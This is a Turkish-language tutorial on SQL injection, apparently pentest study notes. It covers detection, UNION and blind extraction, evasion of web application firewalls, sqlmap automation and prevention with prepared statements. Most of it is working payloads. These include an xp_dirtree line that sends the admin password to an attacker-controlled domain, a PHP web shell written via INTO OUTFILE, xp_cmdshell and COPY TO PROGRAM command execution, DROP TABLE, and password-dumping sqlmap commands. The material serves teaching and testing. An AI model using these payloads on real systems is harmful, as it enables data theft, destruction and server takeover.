←
Web App SecOrta

SQL Injection (SQLi)

Bu yazı, SQL Injection (SQLi) zafiyetlerinin tespit yöntemlerini, temelden kör (blind) ve UNION tabanlı saldırı türlerini, otomasyon araçlarını ve veritabanı güvenliğini sağlamak için kullanılan parametreli sorgular gibi birincil önleme tekniklerini kapsamlı bir şekilde ele almaktadır.

SQL Injection (SQLi)

1. SQLi Tespit ve Keşif Yöntemleri

Manuel Tespit Girdileri (Payloads)

Uygulamadaki her girdi noktasına sistematik olarak testler uygulanarak tespit edilir:

  • Tek Tırnak Testi: ' karakteri gönderilerek hata veya anomali aranır.
  • Sözdizimi Testi: Orijinal değer ile farklı değer üreten SQL sözdizimleri karşılaştırılır.
  • Boolean Koşulları: OR 1=1 ve OR 1=2 enjekte edilerek yanıt farkları incelenir.
  • Zaman Gecikmesi (Time Delay): Zaman gecikmesine yol açan payload’lar ile yanıt süreleri ölçülür.
  • Bant Dışı (OAST): Ağ etkileşimi tetikleyen payload’lar ile dış etkileşimler izlenir.

Otomatik Tarama Otomatik tespitte SQLi zafiyetlerinin büyük çoğunluğu Burp Scanner kullanılarak hızlı ve güvenilir şekilde bulunabilir. Manuel doğrulama sonrası kapsamlı sömürü (exploitation) için sqlmap tercih edilir (bkz. Bölüm 8).

SQLi’nin Ortaya Çıktığı Sorgu Konumları

Zafiyetler sıklıkla SELECT sorgusunun WHERE ifadesinde görülse de aşağıdaki konumlarda da oluşabilir:

  • UPDATE ifadelerindeki güncellenen değerler veya WHERE koşulu.
  • INSERT ifadelerindeki eklenen değerler.
  • SELECT ifadelerindeki tablo veya kolon isimleri.
  • SELECT ifadelerindeki ORDER BY tümcesi.
  • HTTP başlıkları (User-Agent, X-Forwarded-For, Referer) ve cookie değerleri.
  • JSON/XML gövdeli API istekleri.

2. Temel SQLi Saldırıları ve Mantık İhlalleri

Gizli Verileri Çekme (Retrieving Hidden Data)

Uygulama filtresini atlatarak yayınlanmamış veya gizli verileri görüntüleme:

  • Orijinal Sorgu: SELECT * FROM products WHERE category = 'Gifts' AND released = 1
  • Enjekte Edilen URL: https://insecure-website.com/products?category=Gifts'--
  • Sonuç Sorgusu: SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
  • Açıklama: -- karakteri kalan sorguyu yorum satırı yapar ve AND released = 1 kısıtlamasını kaldırır.

Tüm ürünleri ve bilinmeyen kategorileri getirmek için:

  • Payload: Gifts'+OR+1=1--
  • Sonuç Sorgusu: SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Kritik Uyarı OR 1=1 koşulunu enjekte ederken dikkatli olunmalıdır. Girdi tek bir istekte hem SELECT hem de UPDATE veya DELETE sorgularında kullanılıyorsa, kazara tüm veritabanı verilerinin silinmesine yol açabilir.

Uygulama Mantığını Atlatma (Bypassing Login)

Şifre kontrolünü yorum satırına alarak parola kullanmadan giriş yapma:

  • Normal Sorgu: SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
  • Payload (Kullanıcı adı): administrator'-- (Şifre boş bırakılır)
  • Sonuç Sorgusu: SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

3. UNION Tabanlı SQLi Saldırıları (UNION Attacks)

Sorgu sonuçları HTTP yanıtında dönüyorsa, başka tablolardan veri çekmek için UNION anahtar kelimesi kullanılır.

UNION Saldırı Gereksinimleri

  1. Bireysel sorgular aynı sayıda kolon döndürmelidir.
  2. Kolonlardaki veri tipleri birbiriyle uyumlu olmalıdır.

A. Kolon Sayısını Tespit Etme Yöntemleri

1. Yöntem: ORDER BY Kullanımı

Hata alana kadar kolon indeksini artırma:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

Hata Durumu: İndeks gerçek kolon sayısını aştığında veritabanı hata döndürür (ör. The ORDER BY position number 3 is out of range…).

2. Yöntem: UNION SELECT NULL Kullanımı

Doğru kolon sayısına ulaşana kadar NULL değerleri ekleme:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

NULL her veri tipine dönüştürülebildiği için tercih edilir. Kolon sayısı eşleşmediğinde veritabanı hata verir.

Veritabanına Özel Sözdizimi İpuçları

  • Oracle: SELECT ifadelerinde FROM zorunludur. DUAL tablosu kullanılır: ' UNION SELECT NULL FROM DUAL--
  • MySQL: Çift tire -- işaretinden sonra boşluk bırakılmalıdır (-- ) veya # karakteri kullanılmalıdır.

B. String Destekleyen Kolonları Bulma

Kolon sayısı bulunduktan sonra string veri kabul eden kolonlar test edilir:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Uyumsuz tiplerde veritabanı tür dönüşüm hatası verir (ör. Conversion failed when converting the varchar value ‘a’ to data type int).

C. Veri Çıkarma ve String Birleştirme (Concatenation)

Kolon ve tablo isimleri biliniyorsa doğrudan veri çekilir:

' UNION SELECT username, password FROM users--

Tek bir kolonda birden fazla değeri birleştirerek çekme (String Concatenation):

  • Oracle (|| operatörü):
' UNION SELECT username || '~' || password FROM users--

Çıktı örneği: administrator~s3cure, wiener~peter

  • MySQL (CONCAT() / GROUP_CONCAT()):
' UNION SELECT GROUP_CONCAT(username,':',password SEPARATOR '<br>') FROM users--

Not: GROUP_CONCAT tüm satırları tek bir hücrede birleştirdiği için sınırlı görüntülemeli (tek satır dönen) sayfalarda tüm tabloyu tek seferde çekmeyi sağlar.

  • Microsoft SQL Server (+ operatörü):
' UNION SELECT username + '~' + password FROM users--

4. Veritabanı Keşfi ve Bilgi Toplama (Reconnaissance)

Veritabanı Tipi ve Versiyon Sorguları

Saldırıya uygun sözdizimi belirlemek için veritabanı versiyonu sorgulanır:

Veritabanı Türü Versiyon Sorgusu UNION Payload Örneği
Microsoft SQL Server SELECT @@version ' UNION SELECT @@version--
MySQL SELECT @@version ' UNION SELECT @@version--
Oracle SELECT * FROM v$version ' UNION SELECT * FROM v$version--
PostgreSQL SELECT version() ' UNION SELECT version()--

Tablo ve Kolon İsimlerini Listeleme (information_schema)

Oracle dışındaki çoğu veritabanında information_schema görünümü kullanılır:

  1. Tabloları Listeleme:
SELECT * FROM information_schema.tables

Dönen Kolonlar: TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE

  1. Belirli Bir Tablonun Kolonlarını Listeleme:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Dönen Kolonlar: TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE


5. Blind SQLi Yöntemleri

HTTP yanıtları SQL sorgu sonuçlarını veya veritabanı hatalarını içermediğinde kullanılır.

A. Koşullu Yanıtlar (Conditional Responses)

Uygulama yanıtının mantıksal (Boolean) duruma göre değişmesiyle veri çıkarılır:

  • Cookie: TrackingId=xyz' AND '1'='1 → (True: “Welcome back” mesajı döner)
  • Cookie: TrackingId=xyz' AND '1'='2 → (False: Mesaj dönmez)

Karakter Karakter Parola Çıkarma:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Not: SUBSTRING fonksiyonu bazı veritabanlarında SUBSTR olarak geçer. Bu teknik pratikte genelde bir binary search algoritmasıyla otomatize edilir (Burp Intruder “Cluster bomb” veya özel script ile karakter aralığı ikiye bölünerek hızlandırılır).

B. Hata Tabanlı Kör SQLi (Error-based Blind SQLi)

Uygulama yanıtı değişmese bile veritabanı hatası tetikletilerek çıkarım yapılır.

1. Koşullu Hata Tetikleme (Conditional Errors - Divide by Zero)

Koşul doğruysa veritabanına sıfıra bölme hatası aldırma:

  • False Koşul (Hata Yok): xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
  • True Koşul (Hata Tetiklenir): xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Veri Çıkarma Payload’ı:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

2. Verbose Hata Mesajları ile Veri İfşası (CAST)

Hata mesajının sorgu verisini dışarı sızdırmasını sağlama:

CAST((SELECT example_column FROM example_table) AS int)

Dönen Hata Örneği: ERROR: invalid input syntax for type integer: "Example data"

C. Zaman Tabanlı Kör SQLi (Time-based Blind SQLi)

Uygulama hataları yakalayıp yuttuğunda sorgu çalışmasını senkron olarak geciktirme.

Pratik Tuzak: Cookie/Header İçinde ; Karakteri Payload’ı bir Cookie header’ında gönderiyorsan, düz ; karakteri cookie ayracı olarak yorumlanır ve payload’ın ;’den sonraki kısmı sunucuya hiç ulaşmaz. Stacked query (;) gerektiren payload’larda mutlaka URL-encode et: ; → %3b

Cookie: TrackingId=x'%3b WAITFOR DELAY '0:0:10'--

Aynı şekilde boşluklar (+ veya %20), tek/çift tırnaklar cookie/URL bağlamında encode edilmemişse sessizce bozulabilir — Burp Repeater’da “Pretty” değil “Raw” görünümde payload’ı gözle kontrol et.

1. Koşulsuz (Sanity Check) Gecikme

Önce zafiyetin var olduğunu doğrulamak için koşulsuz bir gecikme dene — bu, hangi DB syntax’ının kabul edildiğini de gösterir:

Veritabanı Koşulsuz Payload
Microsoft SQL Server '; WAITFOR DELAY '0:0:10'--
MySQL ' AND SLEEP(10)-- -
PostgreSQL '; SELECT pg_sleep(10)--
Oracle ' AND dbms_lock.sleep(10)=1-- (genelde ayrı yetki gerekir, nadir kullanılır)

2. Koşullu (Conditional) Gecikme — Veri Çıkarma

Zafiyet doğrulandıktan sonra, gecikmeyi bir koşula bağlayarak true/false bilgisini zaman farkı üzerinden okuyabilirsin. Mantık: koşul doğruysa gecikme oluşur, yanlışsa oluşmaz.

Microsoft SQL Server (IF):

'; IF (1=1) WAITFOR DELAY '0:0:10'--
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:10'--

Cookie içinde (encode edilmiş, kullanıcı adı doğrulama örneği):

Cookie: TrackingId=x'%3b IF (1=1) WAITFOR DELAY '0:0:10'--

MySQL (IF()):

' AND IF(SUBSTRING(password,1,1)='a', SLEEP(10), 0)-- -

Stacked query MySQL’de (PHP mysqli/PDO tek sorgu modunda) genelde desteklenmediği için ; ile ikinci sorgu YERİNE tek sorgu içinde IF() kullanılır.

PostgreSQL (CASE WHEN) — senin denediğin örnek, doğru mantık:

'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Bunu tek karaktere indirgeyip parola çıkarmak için:

'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

FROM users olduğu için bu sorgu tablodaki her satır için çalışır — eğer tabloda çok satır varsa ve koşul birden fazla satırda doğruysa, gecikme satır sayısı kadar katlanabilir. Tek satırla sınırlamak için alt sorgu (subquery) kullanmak daha güvenilir:

'; SELECT CASE WHEN ((SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a') THEN pg_sleep(10) ELSE pg_sleep(0) END--

Oracle (nested query + CASE, DBMS_PIPE.RECEIVE_MESSAGE ile):

' AND 1=(SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN DBMS_PIPE.RECEIVE_MESSAGE('a',10) ELSE 0 END FROM users WHERE username='administrator')--

3. Karakter Karakter Çıkarma Döngüsü (Mantık)

Tüm yukarıdaki payload’lar aslında şu genel algoritmanın bir parçası — parolayı pozisyon pozisyon, harf harf brute-force eder:

for position in 1..32: # parola uzunluğu kadar
for char in "abcdefghijklmnopqrstuvwxyz0123456789":
payload = koşullu_gecikme(
SUBSTRING(password, position, 1) = char
)
gönder(payload)
if yanıt_süresi > 9 saniye:
parola[position] = char
break # bu pozisyon bulundu, sıradaki pozisyona geç

Bunu elle Burp Repeater’da tek tek denemek çok yavaş olur — Burp Intruder ile otomatikleştirmek gerekir:

  • Attack type: Cluster bomb (2 payload pozisyonu: karakter listesi + pozisyon sayacı) veya basitçe Sniper (tek payload: karakter listesi, pozisyonu manuel artırarak)
  • Payload listesi: a-z, 0-9 (ve gerekirse büyük harf/özel karakter)
  • Sonuç analizi: Intruder’da “Response received” veya “Response completed” süresini sütun olarak ekle, ~10 saniyeyi aşan satır doğru karakteri verir
  • Alternatif olarak sqlmap ile tamamen otomatik:
Terminal
sqlmap -u "https://target.com/" --cookie="TrackingId=x*" --technique=T --time-sec=5 --dump -T users

(--technique=T → sadece time-based blind teknik kullan, * işareti Cookie değerinde injection noktasını işaretler)

D. Bant Dışı Yöntemler (Out-of-Band / OAST)

Sorgular asenkron çalıştığında hedef sunucudan saldırganın denetimindeki sunucuya (ör. Burp Collaborator) DNS sorguları tetiklenir.

Microsoft SQL Server DNS Sorgusu & Veri Sızdırma:

'; exec master..xp_dirtree '//attacker-collab-domain.net/a'--
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.attacker-collab-domain.net/a"')--

6. Yığın Sorgular (Stacked Queries)

Bazı veritabanları (MSSQL, PostgreSQL — MySQL çoğu driver’da varsayılan kapalı) ; ile ayrılmış birden fazla bağımsız sorgunun aynı anda çalıştırılmasına izin verir. Bu, SELECT sonucu döndürmeyen ama yan etkisi olan komutların çalıştırılmasını sağlar:

'; DROP TABLE users--
'; INSERT INTO users (username, password) VALUES ('hacker','pass123')--

Yığın sorgular RCE’ye giden en kısa yollardan biridir (bkz. Bölüm 7 — xp_cmdshell). Test ortamı dışında asla çalıştırılmamalıdır.


7. Dosya Sistemi Erişimi ve RCE’ye Geçiş

SQLi bazı durumlarda dosya okuma/yazma veya komut çalıştırmaya kadar yükseltilebilir (yetkiler uygunsa):

MySQL:

' UNION SELECT LOAD_FILE('/etc/passwd')--
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

Microsoft SQL Server (xp_cmdshell):

'; EXEC xp_cmdshell 'whoami'--

Not: xp_cmdshell varsayılan olarak kapalıdır; önce sp_configure ile etkinleştirilmesi gerekir (yeterli yetki varsa).

PostgreSQL (COPY ... TO/FROM PROGRAM):

'; COPY (SELECT '') TO PROGRAM 'id'--

8. İkinci Derece SQLi & Farklı Bağlamlar

Bağlamlar ve WAF Bypass

  • SQLi sadece URL parametrelerinde değil, JSON veya XML formatındaki verilerde de oluşur.
  • Yaygın WAF atlatma teknikleri:
    • Büyük/küçük harf değişimi: SeLeCt
    • Satır içi yorum kullanımı: /*!SELECT*/, SEL/**/ECT
    • Boşluk yerine alternatif ayraçlar: tab (%09), yeni satır (%0a), parantez
    • URL/Unicode/hex encoding: %2527 (double encoding), 0x41646d696e (hex string)
    • XML kaçış dizileri (XML escape encoding) ile anahtar kelimelerin parçalanması

Second-Order (Stored) SQL Injection

  • İlkin (First-order): Girdi doğrudan aynı istek içinde güvensiz sorguya sokulur.
  • İkinci Derece (Second-order): Güvensiz girdi önce veritabanına güvenli bir şekilde (parametreli sorgu ile) kaydedilir. Daha sonraki bir işlemde veritabanından okunup başka bir sorguda güvensiz bir şekilde (string concatenation ile) çalıştırılır.

Örnek senaryo:

1. Kayıt formunda kullanıcı adı: "admin'--" olarak güvenli şekilde kaydedilir.
2. "Şifremi değiştir" özelliği bu kullanıcı adını veritabanından okuyup
"UPDATE users SET password='x' WHERE username='" + storedUsername + "'"
şeklinde birleştirirse, kayıt anında zararsız görünen veri bu noktada
zafiyeti tetikler.

9. NoSQL Injection (Kısa Not)

Uygulama MongoDB gibi bir NoSQL veritabanı kullanıyorsa SQLi mantığı geçerli olmasa da benzer bir zafiyet sınıfı mevcuttur:

{"username": {"$ne": null}, "password": {"$ne": null}}
POST /login
username[$ne]=admin&password[$ne]=admin

Operatör enjeksiyonu ($ne, $gt, $where) ile authentication bypass veya blind veri çıkarma yapılabilir. Ayrı bir konu olduğu için detaylı not ayrıca açılabilir.


10. Otomasyon: sqlmap

Manuel keşiften sonra sömürüyü hızlandırmak için:

Terminal
# Temel tarama
sqlmap -u "https://target.com/product?id=1" --batch
# Cookie ile
sqlmap -u "https://target.com/product?id=1" --cookie="session=abc123" --batch
# Veritabanlarını listele
sqlmap -u "https://target.com/product?id=1" --dbs
# Tabloları listele
sqlmap -u "https://target.com/product?id=1" -D dbname --tables
# Veri çek
sqlmap -u "https://target.com/product?id=1" -D dbname -T users --dump
# Burp'ten alınan ham isteği kullanma
sqlmap -r request.txt --batch

11. SQL Injection Önleme Yöntemleri (Prevention)

Birincil Koruma: Parametreli Sorgular (Prepared Statements)

Kullanıcı girdisini sorgu kodundan tamamen ayırmak için parametreli sorgular kullanılmalıdır.

Zafiyetli Kod (String Concatenation):

String query = "SELECT * FROM products WHERE category = '" + input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

Güvenli Kod (Prepared Statement):

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

Parametreli Sorguların Sınırları

  • Parametreli sorgular WHERE koşulu, INSERT veya UPDATE değerleri gibi veri içeren yerlerde çalışır.
  • Tablo isimleri, kolon isimleri veya ORDER BY tümcelerinde parametre kullanılamaz. Bu durumlarda:
    1. İzin verilen değerlerin Beyaz Listeye (Whitelisting) alınması gerekir.
    2. Farklı bir uygulama mantığı kurulmalıdır.
  • Sorguyu oluşturan ana şablon string her zaman sabit (hard-coded constant) olmalıdır.

Ek Savunma Katmanları (Defense in Depth)

  • En Az Yetki Prensibi (Least Privilege): Uygulamanın veritabanı kullanıcısına sadece ihtiyaç duyduğu izinler verilmeli (DROP, xp_cmdshell gibi tehlikeli yetkiler kapatılmalı).
  • ORM Kullanımı: Hibernate, Sequelize, SQLAlchemy gibi ORM’ler doğru kullanıldığında SQLi riskini azaltır — ancak ham (raw) sorgu/.raw() metodları hâlâ risklidir.
  • Girdi Doğrulama (Input Validation): Beklenen formatta olmayan girdiler (tip, uzunluk, karakter seti) reddedilmeli.
  • Hata Mesajlarını Gizleme: Üretim ortamında detaylı veritabanı hataları kullanıcıya gösterilmemeli (error-based SQLi’yi zorlaştırır).
  • WAF (Web Application Firewall): Ek bir savunma katmanı olarak kullanılabilir ancak tek başına yeterli değildir, bypass edilebilir.
  • Düzenli Güvenlik Testleri: Statik kod analizi (SAST) ve dinamik test (DAST/pentest) süreçlerine dahil edilmeli.